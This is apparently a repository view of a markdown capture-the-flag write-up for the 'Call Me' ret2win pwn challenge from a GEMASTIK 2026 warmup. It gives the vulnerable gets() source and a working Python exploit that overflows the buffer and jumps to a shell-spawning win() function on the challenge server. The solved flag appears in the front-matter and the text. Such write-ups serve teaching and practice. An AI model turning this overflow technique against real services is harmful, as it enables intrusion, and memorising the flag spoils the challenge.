Files
mcpedia/content/writeups/gemastik-2026-warmup/ch10-call-me.md
T
asepharyana 0de2458955
CI / typecheck + build (push) Canceled after 0s
CI / deploy to VPS (push) Canceled after 0s
docs: create GEMASTIK 2026 Warmup writeups (ch1-14) via MCP DB API
- Deleted all 14 dummy docs from DB + filesystem
- Created 14 Gemastik warmup writeups + index via create_document API (DB-first)
- ch1-ch12: encoding/stego/web/pwn basics
- ch13: RSA small factors
- ch14: RSA special integers via paper-search (GCD with paper appendix primes)
- All 15 docs indexed and live at wiki.asepharyana.my.id
2026-08-21 14:28:04 +07:00

1.4 KiB

title, type, section, status, author, tags, path, created_at, updated_at, event, challenge, category, points, difficulty, flag
title type section status author tags path created_at updated_at event challenge category points difficulty flag
Call Me — ret2win writeup writeups published asep
gemastik
ctf
warmup
pwn
writeups/gemastik-2026-warmup/ch10-call-me.md 2026-08-21T07:25:43.282Z 2026-08-21T07:25:43.282Z GEMASTIK 2026 Warmup Call Me — ret2win pwn 500 easy GEMASTIK19{r3t2w1n_l0mpat_k3_win}

Call Me (500 pts) — Pwn / ret2win

Server: nc 15.232.89.109 9002

Source (chall.c):

void win() { system("/bin/sh"); }  // flag printed inside

char buf[32];
gets(buf);                          // <-- overflow

Eksploitasi

  1. Compile lokal untuk dapatkan alamat win():
gcc -fno-stack-protector -no-pie -o ch10 chall.c
nm ch10 | grep win
# 00000000004011f6 T win
  1. Overflow buf[32] lalu timpa return address dengan alamat win() (0x4011f6). Sisipkan satu ret gadget (0x401016) untuk realign RSP agar movaps di win/printf tidak segfault:
import socket, time, struct

s = socket.socket()
s.connect(("15.232.89.109", 9002))
time.sleep(0.5)

RET_GADGET = 0x401016   # alignment
WIN_ADDR = 0x4011f6

payload = b"A" * 32 + b"B" * 8 + struct.pack("<Q", RET_GADGET) + struct.pack("<Q", WIN_ADDR)
s.sendall(payload + b"\n")
time.sleep(1.5)
print(s.recv(4096).decode())
# -> GEMASTIK19{r3t2w1n_l0mpat_k3_win}

Flag

GEMASTIK19{r3t2w1n_l0mpat_k3_win}